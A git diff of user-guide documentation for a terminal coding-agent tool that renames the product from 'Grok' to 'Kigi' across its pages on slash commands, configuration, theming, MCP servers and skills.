 Switch to a different model. Accepts model IDs or display names (case-insensitive). For reasoning models you can also pass an effort level as a second argument:
 
 ```
-/model grok-build
-/model Grok Build
+/model kigi
+/model Kigi
 /model Reasoning X high
 ```
 
@@ -214,7 +214,7 @@ fullscreen) switches to the experimental scrollback-native mode; `/fullscreen`
 TUI. Both relaunch the pager on the same conversation for this session only —
 they do not write `config.toml`. Descriptions and the relaunch banner tell you
 how to switch back (`/fullscreen` ⇄ `/minimal`). The `--minimal` /
-`--fullscreen` CLI flags are likewise session-scoped. To make plain `grok` open
+`--fullscreen` CLI flags are likewise session-scoped. To make plain `kigi` open
 in a given mode by default, use `/settings` → **Default screen mode**, or set
 `[ui] screen_mode` in `config.toml`.
 
@@ -325,7 +325,7 @@ Open the extensions modal on the Skills tab to view installed skills.
 
 ### `/loop [interval] <prompt>`
 
-Run a prompt on a recurring interval. Specify the interval as `30m`, `1 hour`, or `every 2 days`. If you omit it, Grok prompts you.
+Run a prompt on a recurring interval. Specify the interval as `30m`, `1 hour`, or `every 2 days`. If you omit it, Kigi prompts you.
 
 ```
 /loop 30m check deploy status
@@ -342,7 +342,7 @@ Recurring tasks auto-expire after 7 days. Cancel with `scheduler_delete` (the jo
 
 ### `/goal`
 
-Set, manage, or check an autonomous goal. Grok works toward the objective across turns and reports progress.
+Set, manage, or check an autonomous goal. Kigi works toward the objective across turns and reports progress.
 
 ```
 /goal Migrate the auth module to the new API
diff --git a/crates/codegen/kigi-tui/docs/user-guide/05-configuration.md b/crates/codegen/kigi-tui/docs/user-guide/05-configuration.md
index b144ff2..8c29b4e 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/05-configuration.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/05-configuration.md
@@ -1,6 +1,6 @@
 # Configuration
 
-Grok reads configuration from local config files, environment variables, and
+Kigi reads configuration from local config files, environment variables, and
 CLI flags. This document covers the common options.
 
 ---
@@ -22,7 +22,7 @@ Configuration is resolved in this order (highest priority first):
 
 Location: `~/.kigi/config.toml`
 
-If the file does not exist, Grok uses built-in defaults. Specify only the values you want to override.
+If the file does not exist, Kigi uses built-in defaults. Specify only the values you want to override.
 
 ### General Settings
 
@@ -31,7 +31,7 @@ If the file does not exist, Grok uses built-in defaults. Specify only the values
 auto_update = true                     # check for updates on launch
 
 [models]
-default = "grok-build"           # model used for new sessions
+default = "kigi"           # model used for new sessions
 
 # Defaults applied to every model; a per-model [model.<id>] value always wins.
 # See "Custom Models" for the per-model overrides and full details.
@@ -97,7 +97,7 @@ simple_mode = false
 ```
 
 You can also toggle this setting from the settings pane (`/settings` →
-**Disable vim input mode**); Grok writes your choice to `[ui] simple_mode` in
+**Disable vim input mode**); Kigi writes your choice to `[ui] simple_mode` in
 `config.toml`.
 
 `simple_mode` and `vim_mode` are independent: `simple_mode` changes the prompt
@@ -154,7 +154,7 @@ active in the **scrollback** pane. It does not affect the input prompt.
 | `true` | All vim-style scrollback bindings are active, exactly as listed in [Keyboard Shortcuts](03-keyboard-shortcuts.md). |
 
 Toggle `vim_mode` at runtime with `/vim-mode`, or from the settings pane
-(`/settings` → **Vim scrollback navigation**). Grok writes the change to
+(`/settings` → **Vim scrollback navigation**). Kigi writes the change to
 `[ui] vim_mode` in `~/.kigi/config.toml` immediately and applies it to every
 future pager session — including new agents and subagents started in the same
 process. There is no separate per-session override; whatever is in
@@ -166,7 +166,7 @@ navigation, while `simple_mode` controls editing in the prompt.
 #### Screen Mode
 
 The `screen_mode` setting under `[ui]` is the **default render mode** for plain
-`grok` launches. Configure it from `/settings` → **Default screen mode**
+`kigi` launches. Configure it from `/settings` → **Default screen mode**
 (restart required), or edit `config.toml` by hand. Both choices write
 `config.toml`. CLI flags (`--minimal` / `--fullscreen`) and slash commands
 (`/minimal` / `/fullscreen`) are session-scoped and do **not** write this key —
@@ -247,7 +247,7 @@ auth_provider_command = "/usr/local/bin/my-auth-provider"
 auth_provider_label = "Acme Corp"
 auth_token_ttl = 3600
 
-[grok_com_config.oidc]
+[kigi_com_config.oidc]
 issuer = "https://acme.okta.com"
 client_id = "0oa1b2c3d4e5f6g7h8i9"
 # scopes = ["openid", "profile", "email", "offline_access", "api:access"]
@@ -346,7 +346,7 @@ explore = true                        # enable/disable specific types
 plan = false
 
 [subagents.models]
-explore = "grok-build"               # route to different models
+explore = "kigi"               # route to different models
 ```
 
 To pin the model a subagent uses, set its entry under `[subagents.models]`.
@@ -393,7 +393,7 @@ Each cell can be toggled via environment variable or `config.toml`. See the
 environment-variables reference for the env var names. Resolution order:
 env var > config.toml > default (on).
 
-`grok inspect` reports cells that still need session-start resolution as
+`kigi inspect` reports cells that still need session-start resolution as
 `?` until a value is available; cells with an explicit env or TOML value
 use that value. Affected discovery entries report
 `compatibilityStatus: "unresolved"` in JSON and `[compat unresolved]` in
@@ -409,7 +409,7 @@ disabled = ["user/a1b2c3d4/noisy-plugin"]
 
 ### Hints
 
-The `[hints]` table holds small persisted UI preferences — mostly "stop asking me" opt-outs. Grok writes these for you when you pick a "don't ask again" / "reset in config.toml" option in the TUI, but you can edit or remove them by hand. Deleting a key restores the default behavior.
+The `[hints]` table holds small persisted UI preferences — mostly "stop asking me" opt-outs. Kigi writes these for you when you pick a "don't ask again" / "reset in config.toml" option in the TUI, but you can edit or remove them by hand. Deleting a key restores the default behavior.
 
 `[hints]` is read from the **effective config merge** (same precedence as other settings): system managed → user `managed_config.toml` → user `config.toml` → user `requirements.toml` → system `requirements.toml`. Higher-priority layers override lower ones. The TUI only **writes** opt-outs to user `~/.kigi/config.toml`.
 
@@ -423,7 +423,7 @@ fork_worktree_mode = "ask"             # /fork worktree prompt: "ask" | "always"
 
 | Key | Type | Default | Description |
 |-----|------|---------|-------------|
-| `project_picker_disabled` | bool | `false` | When `true`, skips the picker that asks you to choose a project directory on the first prompt when Grok is launched from a non-project directory (home, Desktop, Downloads, `/tmp`). Set automatically when you choose **"Don't ask me again"** in that picker. Teams can pin this in `managed_config.toml` or `requirements.toml` via `[hints] project_picker_disabled = true`. |
+| `project_picker_disabled` | bool | `false` | When `true`, skips the picker that asks you to choose a project directory on the first prompt when Kigi is launched from a non-project directory (home, Desktop, Downloads, `/tmp`). Set automatically when you choose **"Don't ask me again"** in that picker. Teams can pin this in `managed_config.toml` or `requirements.toml` via `[hints] project_picker_disabled = true`. |
 | `memory_modal_fullscreen` | bool | `false` | Remembers whether the memory modal was last opened fullscreen. |
 | `new_session_worktree_mode` | string | `"never"` | Worktree prompt for `/new`: `ask` shows the popup, `always` creates a worktree, `never` skips it. |
 | `fork_worktree_mode` | string | `"ask"` | Worktree prompt for `/fork`: `ask`, `always`, or `never`. |
@@ -446,7 +446,7 @@ progress_bar = true       # show tab progress bar (OSC 9;4)
 
 [ui.notifications.title]
 enabled = true
-items = ["action-required", "spinner", "activity", "session-name", "grok"]
+items = ["action-required", "spinner", "activity", "session-name", "kigi"]
 ```
 
 | Option | Type | Default | Description |
@@ -458,7 +458,7 @@ items = ["action-required", "spinner", "activity", "session-name", "grok"]
 | `sleep_prevention` | bool | `true` | Keep the display awake while the agent is working (macOS/Linux). |
 | `progress_bar` | bool | `true` | Show a progress indicator in the terminal tab (OSC 9;4). |
 | `title.enabled` | bool | `true` | Set the terminal title to reflect agent state. |
-| `title.items` | array | (see above) | Items shown in the title bar. Options: `action-required`, `spinner`, `activity`, `session-name`, `cwd`, `model`, `turn-timer`, `grok`. |
+| `title.items` | array | (see above) | Items shown in the title bar. Options: `action-required`, `spinner`, `activity`, `session-name`, `cwd`, `model`, `turn-timer`, `kigi`. |
 
 #### Terminal Support Matrix
 
@@ -473,10 +473,10 @@ items = ["action-required", "spinner", "activity", "session-name", "grok"]
 | VS Code | BEL | Yes | No |
 | Apple Terminal | BEL | No | No |
 | VTE (GNOME Terminal) | OSC 777 | Yes | No |
-| Grok Desktop | None (native) | N/A | N/A |
+| Kigi Desktop | None (native) | N/A | N/A |
 | Unknown | BEL | No | No |
 
-When `method = "auto"`, Grok detects the terminal brand and selects the best
+When `method = "auto"`, Kigi detects the terminal brand and selects the best
 protocol automatically. Set `method` explicitly to override auto-detection.
 
 #### Notification Hooks
@@ -487,14 +487,14 @@ Run custom commands when events occur. Hooks receive environment variables
 ```toml
 # macOS native notification
 [[ui.notifications.hooks]]
-command = "terminal-notifier -title 'Grok' -message '$KIGI_MESSAGE'"
+command = "terminal-notifier -title 'Kigi' -message '$KIGI_MESSAGE'"
 events = ["turn_complete", "approval_required"]
 only_unfocused = true
 timeout_secs = 10
 
 # Push to ntfy server
 [[ui.notifications.hooks]]
-command = "curl -s -d '$KIGI_MESSAGE' ntfy.sh/my-grok-alerts"
+command = "curl -s -d '$KIGI_MESSAGE' ntfy.sh/my-kigi-alerts"
 events = ["turn_complete"]
 only_unfocused = true
 timeout_secs = 10
@@ -529,7 +529,7 @@ Then restart tmux. If passthrough is not available (tmux < 3.3), set
 
 **Focus tracking not working:**
 Some terminals do not report focus events. If `condition = "unfocused"` never
-fires, try `condition = "always"` as a fallback. Grok supports focus tracking
+fires, try `condition = "always"` as a fallback. Kigi supports focus tracking
 in every detected terminal except Apple Terminal and unrecognized terminals.
 
 **Sleep prevention not taking effect:**
@@ -555,7 +555,7 @@ mixpanel_enabled = false                                  # disable Mixpanel pro
 trace_upload = false                                      # disable session/trace uploads (inherits the telemetry toggle when unset)
 ```
 
-Set these only to point telemetry at your own infrastructure or to turn parts of it off. The built-in endpoint and credentials are managed by Grok; leave them unset to use the defaults.
+Set these only to point telemetry at your own infrastructure or to turn parts of it off. The built-in endpoint and credentials are managed by Kigi; leave them unset to use the defaults.
 
 The same `[telemetry]` table also configures the **external OpenTelemetry stream** — an independent opt-in (it does not require the telemetry toggle above) that ships a curated, content-free usage schema to your *own* OTLP collector. Collector auth is supplied via `OTEL_EXPORTER_OTLP_HEADERS` and is never stored on disk. See [Monitoring & Usage](24-monitoring-usage.md) for the full schema, env vars, and privacy model.
 
@@ -584,12 +584,12 @@ auth_provider_label = "Acme Corp"
 auth_token_ttl = 3600
 
 [models]
-default = "company-grok"
+default = "company-kigi"
 
-[model.company-grok]
-model = "grok-build"
-base_url = "https://grok-proxy.acme.com/"
-name = "Grok Build Latest (Proxy)"
+[model.company-kigi]
+model = "kigi"
+base_url = "https://kigi-proxy.acme.com/"
+name = "Kigi Latest (Proxy)"
 context_window = 128000
 
 [features]
diff --git a/crates/codegen/kigi-tui/docs/user-guide/06-theming.md b/crates/codegen/kigi-tui/docs/user-guide/06-theming.md
index 13ce855..dbeffc6 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/06-theming.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/06-theming.md
@@ -1,17 +1,17 @@
 # Theming and Appearance Customization
 
-Grok Build draws all TUI colors from a central theme. You can switch themes while Grok is running, follow your operating system's light or dark appearance, and adjust scrollback layout, animations, and block styling through configuration files.
+Kigi draws all TUI colors from a central theme. You can switch themes while Kigi is running, follow your operating system's light or dark appearance, and adjust scrollback layout, animations, and block styling through configuration files.
 
 ---
 
 ## Available Themes
 
-Grok includes five built-in themes, plus an `auto` option that follows your system appearance:
+Kigi includes five built-in themes, plus an `auto` option that follows your system appearance:
 
 | Theme | Config Names | Description | Truecolor Required |
 |-------|-------------|-------------|--------------------|
-| **GrokNight** | `groknight`, `grok-night`, `dark` | Neutral dark base with a magenta accent. Default theme. Survives quantization cleanly on 256-color and 16-color terminals. | No |
-| **GrokDay** | `grokday`, `grok-day`, `light`, `day` | Light theme for bright terminal backgrounds. | No |
+| **KigiNight** | `kiginight`, `kigi-night`, `dark` | Neutral dark base with a magenta accent. Default theme. Survives quantization cleanly on 256-color and 16-color terminals. | No |
+| **KigiDay** | `kigiday`, `kigi-day`, `light`, `day` | Light theme for bright terminal backgrounds. | No |
 | **TokyoNight** | `tokyonight`, `tokyo-night`, `tokyo` | Dark, blue-tinted backgrounds from the Tokyo Night palette. Loses its character when quantized. | Yes |
 | **RosePineMoon** | `rosepine`, `rose-pine`, `rosepine-moon`, `rose-pine-moon` | Muted dark palette with mauve accents, from the Rosé Pine family. | Yes |
 | **OscuraMidnight** | `oscura`, `oscura-midnight` | Deep dark base with purple accents. | Yes |
@@ -28,7 +28,7 @@ Theme names are case-insensitive. The `auto` option (alias `system`) is document
 
 ### In the TUI
 
-Run the `/theme` slash command (alias `/t`) to open the theme picker. As you move through the list with the arrow keys, Grok previews each theme in real time. Press Enter to apply and save your choice, or press Escape to revert.
+Run the `/theme` slash command (alias `/t`) to open the theme picker. As you move through the list with the arrow keys, Kigi previews each theme in real time. Press Enter to apply and save your choice, or press Escape to revert.
 
 To switch without the picker, pass a name directly:
 
@@ -51,20 +51,20 @@ theme = "tokyonight"
 
 ## Auto Theme (System Appearance)
 
-Set `theme = "auto"` to have Grok follow your operating system's light/dark appearance and switch themes automatically:
+Set `theme = "auto"` to have Kigi follow your operating system's light/dark appearance and switch themes automatically:
 
 ```toml
 [ui]
 theme = "auto"
 ```
 
-By default, dark mode maps to **GrokNight** and light mode maps to **GrokDay**. Override either mapping with `auto_dark_theme` and `auto_light_theme`:
+By default, dark mode maps to **KigiNight** and light mode maps to **KigiDay**. Override either mapping with `auto_dark_theme` and `auto_light_theme`:
 
 ```toml
 [ui]
 theme = "auto"
 auto_dark_theme = "tokyonight"
-auto_light_theme = "grokday"
+auto_light_theme = "kigiday"
 ```
 
 `theme = "system"` is an alias for `theme = "auto"`.
@@ -78,7 +78,7 @@ auto_light_theme = "grokday"
 | **Windows** | Reads the system personalization registry |
 | **SSH / headless** | Falls back to an OSC 11 terminal background query at startup |
 
-Once running, Grok polls for appearance changes every 5 seconds. Toggling your OS between light and dark mode takes effect within seconds without restarting.
+Once running, Kigi polls for appearance changes every 5 seconds. Toggling your OS between light and dark mode takes effect within seconds without restarting.
 
 ### Via the Settings Pane
 
@@ -88,7 +88,7 @@ Run `/settings` (alias `/config`) and open the **Appearance** category to set th
 
 ## Color Support Detection
 
-On startup, Grok detects your terminal's color capability level:
+On startup, Kigi detects your terminal's color capability level:
 
 | Level | Description | Detection |
 |-------|-------------|-----------|
@@ -96,19 +96,19 @@ On startup, Grok detects your terminal's color capability level:
 | **256-color** | Indexed palette. RGB values are mapped to the nearest palette entry. | Standard xterm-256color |
 | **16-color** | ANSI names only. Colors are mapped to the closest ANSI color. | Basic terminal support |
 
-When you set `NO_COLOR`, Grok emits no color and renders in monochrome.
+When you set `NO_COLOR`, Kigi emits no color and renders in monochrome.
 
 Run `/terminal-setup` to see the detected level (`color` row) and which themes the picker offers on this terminal (`themes` row). When truecolor is missing, the issues section explains how to enable it (or that Terminal.app cannot).
 
 ### Automatic Quantization
 
-Every theme is defined using full RGB values. At startup, Grok quantizes all colors to match the detected capability level. This means:
+Every theme is defined using full RGB values. At startup, Kigi quantizes all colors to match the detected capability level. This means:
 
 - On **truecolor** terminals, colors pass through unchanged.
 - On **256-color** terminals, each RGB value is mapped to the nearest indexed palette entry.
 - On **16-color** terminals, colors map to ANSI names.
 
-GrokNight and GrokDay use neutral grays that quantize cleanly. TokyoNight, RosePineMoon, and OscuraMidnight use distinctive tinted backgrounds that lose their character when quantized, which is why the theme picker hides them on non-truecolor terminals.
+KigiNight and KigiDay use neutral grays that quantize cleanly. TokyoNight, RosePineMoon, and OscuraMidnight use distinctive tinted backgrounds that lose their character when quantized, which is why the theme picker hides them on non-truecolor terminals.
 
 ### Runtime-Generated Colors
 
@@ -118,7 +118,7 @@ Colors generated at runtime (syntax highlighting, background blending) are also
 
 ## Cursor Color
 
-Grok sets your terminal cursor to the current theme's `accent_user` color using the OSC 12 escape sequence, to indicate an active Grok session. The cursor color is:
+Kigi sets your terminal cursor to the current theme's `accent_user` color using the OSC 12 escape sequence, to indicate an active Kigi session. The cursor color is:
 
 - Applied on startup and on theme switch.
 - Reset to the terminal's default on exit via OSC 112.
@@ -143,13 +143,13 @@ Use compact mode on small screens to maximize content area.
 
 ## Syntax Highlighting
 
-Grok bundles three `.tmTheme` files for code-block syntax highlighting and selects one based on the active theme:
+Kigi bundles three `.tmTheme` files for code-block syntax highlighting and selects one based on the active theme:
 
-- `grok-night.tmTheme` -- GrokNight, RosePineMoon, and OscuraMidnight
-- `grok-day.tmTheme` -- GrokDay
+- `kigi-night.tmTheme` -- KigiNight, RosePineMoon, and OscuraMidnight
+- `kigi-day.tmTheme` -- KigiDay
 - `tokyo-night.tmTheme` -- TokyoNight
 
-Grok selects the matching file automatically when you switch themes. The `.tmTheme` files are built into the binary, so you cannot replace them with your own.
+Kigi selects the matching file automatically when you switch themes. The `.tmTheme` files are built into the binary, so you cannot replace them with your own.
 
 ---
 
diff --git a/crates/codegen/kigi-tui/docs/user-guide/07-mcp-servers.md b/crates/codegen/kigi-tui/docs/user-guide/07-mcp-servers.md
index b72aa31..eb7bc5c 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/07-mcp-servers.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/07-mcp-servers.md
@@ -1,12 +1,12 @@
 # MCP Servers
 
-MCP (Model Context Protocol) servers extend Grok with external tool integrations. They let Grok interact with any service that implements the MCP standard.
+MCP (Model Context Protocol) servers extend Kigi with external tool integrations. They let Kigi interact with any service that implements the MCP standard.
 
 ---
 
 ## What Are MCP Servers?
 
-An MCP server is a process that exposes tools to Grok over a standardized protocol. When you configure an MCP server, its tools become available to the model alongside Grok's built-in tools. The model can discover and call these tools during a session.
+An MCP server is a process that exposes tools to Kigi over a standardized protocol. When you configure an MCP server, its tools become available to the model alongside Kigi's built-in tools. The model can discover and call these tools during a session.
 
 For example, a GitHub MCP server might expose tools like `create_issue`, `list_pull_requests`, and `search_code`. A database server might expose `query`, `list_tables`, and `describe_schema`.
 
@@ -20,7 +20,7 @@ MCP servers are configured in `~/.kigi/config.toml` under `[mcp_servers.<name>]`
 
 ### stdio Transport (Local Process)
 
-Grok spawns a local process and communicates over stdin/stdout:
+Kigi spawns a local process and communicates over stdin/stdout:
 
 ```toml
 [mcp_servers.my-server]
@@ -44,7 +44,7 @@ tool_timeouts = { slow_op = 120 }     # Per-tool timeout overrides, seconds
 > inline (full payload spilled under the session `mcp/` folder). Default is
 > **20_000 bytes**. Override via:
 >
-> - env `KIGI_MAX_MCP_OUTPUT_BYTES` or `MAX_MCP_OUTPUT_BYTES` (bytes; Grok-native
+> - env `KIGI_MAX_MCP_OUTPUT_BYTES` or `MAX_MCP_OUTPUT_BYTES` (bytes; Kigi-native
 >   wins if both set; Claude-style name, but we bound by **bytes** not tokens)
 > - `config.toml` — user-level (`~/.kigi/config.toml`) **or repo-level**
 >   (`.kigi/config.toml` anywhere on the cwd → git-root chain; the deepest
@@ -85,39 +85,39 @@ Manage MCP servers from the command line without editing config files:
 
 ```bash
 # List configured MCP servers
-grok mcp list
-grok mcp list --json          # Machine-readable output
+kigi mcp list
+kigi mcp list --json          # Machine-readable output
 
 # Add a stdio server. Everything after -- is the server command, so flags
-# like -y reach the server instead of being parsed by grok.
-grok mcp add filesystem -- npx -y @modelcontextprotocol/server-filesystem /path/to/dir
+# like -y reach the server instead of being parsed by kigi.
+kigi mcp add filesystem -- npx -y @modelcontextprotocol/server-filesystem /path/to/dir
 
 # Add a stdio server with environment variables (-e is repeatable)
-grok mcp add postgres -e DATABASE_URL=postgres://localhost/mydb -- npx -y @modelcontextprotocol/server-postgres
+kigi mcp add postgres -e DATABASE_URL=postgres://localhost/mydb -- npx -y @modelcontextprotocol/server-postgres
 
 # Add a remote HTTP server
-grok mcp add --transport http sentry https://mcp.sentry.dev/mcp
+kigi mcp add --transport http sentry https://mcp.sentry.dev/mcp
 
 # Add a remote server with an authentication header (--header is repeatable)
-grok mcp add --transport http api https://mcp.example.com/mcp --header "Authorization: Bearer YOUR_TOKEN"
+kigi mcp add --transport http api https://mcp.example.com/mcp --header "Authorization: Bearer YOUR_TOKEN"
 
 # Add a remote SSE server
-grok mcp add --transport sse linear https://mcp.linear.app/sse
+kigi mcp add --transport sse linear https://mcp.linear.app/sse
 
 # Remove a server
-grok mcp remove github
+kigi mcp remove github
 
 # Diagnose a server's configuration and connectivity
-grok mcp doctor               # Check every configured server
-grok mcp doctor github        # Check one server
-grok mcp doctor --json        # Machine-readable output
+kigi mcp doctor               # Check every configured server
+kigi mcp doctor github        # Check one server
+kigi mcp doctor --json        # Machine-readable output
 ```
 
 The transport defaults to `stdio`; pass `--transport http` or `--transport sse` for remote servers.
 
-By default `grok mcp add` writes to `~/.kigi/config.toml` (`--scope user`). Use `--scope project` to write to `.kigi/config.toml` in the current directory instead, which can be committed and shared with your team (see [Project-Scoped MCP Servers](#project-scoped-mcp-servers)). Header and environment variable values are stored verbatim, so reference secrets as `${VAR}` instead of pasting them into a committed project config (see [Example Configurations](#example-configurations)). `grok mcp list` shows servers from both scopes, marking project-scoped ones with `(project)`.
+By default `kigi mcp add` writes to `~/.kigi/config.toml` (`--scope user`). Use `--scope project` to write to `.kigi/config.toml` in the current directory instead, which can be committed and shared with your team (see [Project-Scoped MCP Servers](#project-scoped-mcp-servers)). Header and environment variable values are stored verbatim, so reference secrets as `${VAR}` instead of pasting them into a committed project config (see [Example Configurations](#example-configurations)). `kigi mcp list` shows servers from both scopes, marking project-scoped ones with `(project)`.
 
-`grok mcp remove` searches both scopes and exits 0 after removing the server. It exits 1 when the name is not found, or when the name is defined in both user and project scope — pass `--scope` to say which one to remove.
+`kigi mcp remove` searches both scopes and exits 0 after removing the server. It exits 1 when the name is not found, or when the name is defined in both user and project scope — pass `--scope` to say which one to remove.
 
 Breaking changes from earlier releases: `--env` now takes one `KEY=value` per flag (use `-e A=1 -e B=2`, not `--env A=1 B=2`), and server names may only contain letters, numbers, hyphens, and underscores.
 
@@ -142,9 +142,9 @@ url = "https://mcp.linear.app/mcp"
 enabled = true
 ```
 
-When a server exposes a native HTTP/SSE endpoint, prefer the `url` form over wrapping it in a stdio proxy such as `npx mcp-remote <url>`. Grok handles HTTP/SSE and OAuth directly, so the native form avoids an extra subprocess per session. It also registers Grok's own OAuth client with the provider.
+When a server exposes a native HTTP/SSE endpoint, prefer the `url` form over wrapping it in a stdio proxy such as `npx mcp-remote <url>`. Kigi handles HTTP/SSE and OAuth directly, so the native form avoids an extra subprocess per session. It also registers Kigi's own OAuth client with the provider.
 
-Grok walks from the current directory up to the git repo root, loading `.kigi/config.toml` at each level:
+Kigi walks from the current directory up to the git repo root, loading `.kigi/config.toml` at each level:
 
 | Location | Scope | Priority |
 |----------|-------|----------|
@@ -154,7 +154,7 @@ Grok walks from the current directory up to the git repo root, loading `.kigi/co
 
 If a project defines a server with the same name as a global one, the project version replaces it entirely (fields are not merged).
 
-Project-scoped files contribute `[mcp_servers]`, `[plugins]`, and `[permission]` entries. Grok reads most other config sections only from `~/.kigi/config.toml`.
+Project-scoped files contribute `[mcp_servers]`, `[plugins]`, and `[permission]` entries. Kigi reads most other config sections only from `~/.kigi/config.toml`.
 
 ---
 
@@ -169,7 +169,7 @@ MCP tools are namespaced with the server name to avoid collisions:
 
 ## Toggle Servers at Runtime
 
-You can enable or disable MCP servers during a session without restarting Grok.
+You can enable or disable MCP servers during a session without restarting Kigi.
 
 ### The /mcps Modal
 
@@ -198,24 +198,24 @@ The model has access to two built-in tools for working with MCP servers:
 
 ## Compatibility
 
-Grok loads MCP server configurations from multiple sources for compatibility:
+Kigi loads MCP server configurations from multiple sources for compatibility:
 
 | Source | Format | Location | Configurable |
 |--------|--------|----------|-------------|
-| `config.toml` | Native Grok config | `~/.kigi/config.toml`, `.kigi/config.toml` | Always on |
+| `config.toml` | Native Kigi config | `~/.kigi/config.toml`, `.kigi/config.toml` | Always on |
 | `.claude.json` | Claude Code format | `~/.claude.json` | `[compat.claude] mcps` |
 | `.cursor/mcp.json` | Cursor format | `~/.cursor/mcp.json`, `<project>/.cursor/mcp.json` | `[compat.cursor] mcps` |
 | `.mcp.json` | MCP standard format | Project root (cwd to git root) | Loaded unless you have imported or dismissed the Claude import prompt (the import marker is set) |
 
 All sources are merged in priority order: config.toml > Claude > Cursor > `.mcp.json`. Servers from higher-priority sources take precedence when names conflict.
 
-The Claude and Cursor MCP sources are scanned by default. To disable scanning for a specific vendor, set `[compat.<vendor>] mcps = false` in `~/.kigi/config.toml` or the corresponding environment variable (`KIGI_CURSOR_MCPS_ENABLED`, `KIGI_CLAUDE_MCPS_ENABLED`). See [Configuration](05-configuration.md#harness-compatibility) for details. Use `grok inspect` to see which MCP servers were loaded and their vendor origin (`[cursor]`, `[claude]`).
+The Claude and Cursor MCP sources are scanned by default. To disable scanning for a specific vendor, set `[compat.<vendor>] mcps = false` in `~/.kigi/config.toml` or the corresponding environment variable (`KIGI_CURSOR_MCPS_ENABLED`, `KIGI_CLAUDE_MCPS_ENABLED`). See [Configuration](05-configuration.md#harness-compatibility) for details. Use `kigi inspect` to see which MCP servers were loaded and their vendor origin (`[cursor]`, `[claude]`).
 
 ---
 
 ## MCP OAuth
 
-For MCP servers that require OAuth authentication, Grok handles the credential flow automatically. When an MCP server requests OAuth credentials, Grok opens a browser-based authorization flow and stores the resulting tokens for future use.
+For MCP servers that require OAuth authentication, Kigi handles the credential flow automatically. When an MCP server requests OAuth credentials, Kigi opens a browser-based authorization flow and stores the resulting tokens for future use.
 
 ---
 
@@ -225,7 +225,7 @@ Use the `url` form for hosted MCP servers and the `command` / `args` form for lo
 
 ### Native HTTP (hosted services)
 
-You must authenticate OAuth-based MCP servers before you can use them. Grok stores the resulting tokens under `~/.kigi/mcp_credentials.json`. After you edit `config.toml`, press `r` in the `/mcps` modal to refresh the server list.
+You must authenticate OAuth-based MCP servers before you can use them. Kigi stores the resulting tokens under `~/.kigi/mcp_credentials.json`. After you edit `config.toml`, press `r` in the `/mcps` modal to refresh the server list.
 
 ```toml
 [mcp_servers.linear]
@@ -252,7 +252,7 @@ enabled = true
 Authorization = "Bearer <token>"
 ```
 
-To avoid putting secrets in the config file, reference an environment variable with `${VAR}` (or `${VAR:-default}`). Grok expands string fields in `[mcp_servers.*]` — `url`, `command`, `args`, and the values in `env` and `headers` — at load time:
+To avoid putting secrets in the config file, reference an environment variable with `${VAR}` (or `${VAR:-default}`). Kigi expands string fields in `[mcp_servers.*]` — `url`, `command`, `args`, and the values in `env` and `headers` — at load time:
 
 ```toml
 [mcp_servers.internal-tools]
@@ -285,7 +285,7 @@ tool_timeout_sec = 120
 tool_timeouts = { slow_analysis = 300, quick_lookup = 10 }
 ```
 
-On Windows, npm installs launchers like `npx`, `npm`, `pnpm`, and `yarn` as `.cmd` batch shims (there is no `npx.exe`). Grok resolves a bare `command` such as `npx` to its real launcher path on `PATH` (honoring `PATHEXT`) before spawning, so these work without manually wrapping them in `cmd /c`. A `command` given as an absolute path or one containing a path separator is used as-is.
+On Windows, npm installs launchers like `npx`, `npm`, `pnpm`, and `yarn` as `.cmd` batch shims (there is no `npx.exe`). Kigi resolves a bare `command` such as `npx` to its real launcher path on `PATH` (honoring `PATHEXT`) before spawning, so these work without manually wrapping them in `cmd /c`. A `command` given as an absolute path or one containing a path separator is used as-is.
 
 ---
 
@@ -324,7 +324,7 @@ npx -y @modelcontextprotocol/server-filesystem /path
 startup_timeout_sec = 30
 ```
 
-For stdio servers, Grok captures the process's standard error to `~/.kigi/logs/mcp/<server>.stderr.log`, truncated on each launch. Check this file when a server starts but fails to handshake:
+For stdio servers, Kigi captures the process's standard error to `~/.kigi/logs/mcp/<server>.stderr.log`, truncated on each launch. Check this file when a server starts but fails to handshake:
 
 ```bash
 tail -f ~/.kigi/logs/mcp/filesystem.stderr.log
@@ -332,18 +332,18 @@ tail -f ~/.kigi/logs/mcp/filesystem.stderr.log
 
 ### Viewing Server Status
 
-Use `grok inspect` to see all loaded MCP servers and their sources:
+Use `kigi inspect` to see all loaded MCP servers and their sources:
 
 ```bash
-grok inspect          # Human-readable
-grok inspect --json   # Machine-readable
+kigi inspect          # Human-readable
+kigi inspect --json   # Machine-readable
 ```
 
 ### Debug Logging
 
 ```bash
-RUST_LOG=debug KIGI_LOG_FILE=/tmp/grok.log grok
-tail -f /tmp/grok.log
+RUST_LOG=debug KIGI_LOG_FILE=/tmp/kigi.log kigi
+tail -f /tmp/kigi.log
 ```
 
 Look for log entries containing `mcp` to trace server startup, tool discovery, and tool call execution.
diff --git a/crates/codegen/kigi-tui/docs/user-guide/08-skills.md b/crates/codegen/kigi-tui/docs/user-guide/08-skills.md
index 093ec00..3554057 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/08-skills.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/08-skills.md
@@ -1,20 +1,20 @@
 # Skills
 
-Skills are reusable prompt packages that extend Grok with task-specific instructions. They let you capture a repeatable procedure once, instead of re-explaining it each session.
+Skills are reusable prompt packages that extend Kigi with task-specific instructions. They let you capture a repeatable procedure once, instead of re-explaining it each session.
 
 ---
 
 ## What Are Skills?
 
-A skill is a directory that contains a `SKILL.md` file. Its markdown body tells Grok how to handle a specific type of task: step-by-step instructions, conventions, and tool-usage patterns.
+A skill is a directory that contains a `SKILL.md` file. Its markdown body tells Kigi how to handle a specific type of task: step-by-step instructions, conventions, and tool-usage patterns.
 
-Use a skill for a repeatable procedure that's too specific for AGENTS.md but too long to retype. Grok activates a skill only when it applies to your current task.
+Use a skill for a repeatable procedure that's too specific for AGENTS.md but too long to retype. Kigi activates a skill only when it applies to your current task.
 
 ---
 
 ## Skill Locations
 
-Grok discovers skills from these directories, in priority order:
+Kigi discovers skills from these directories, in priority order:
 
 | Location | Scope | Priority | Notes |
 |----------|-------|----------|-------|
@@ -26,13 +26,13 @@ Grok discovers skills from these directories, in priority order:
 | `~/.cursor/skills/` | User | Lowest | Cursor compatibility (configurable) |
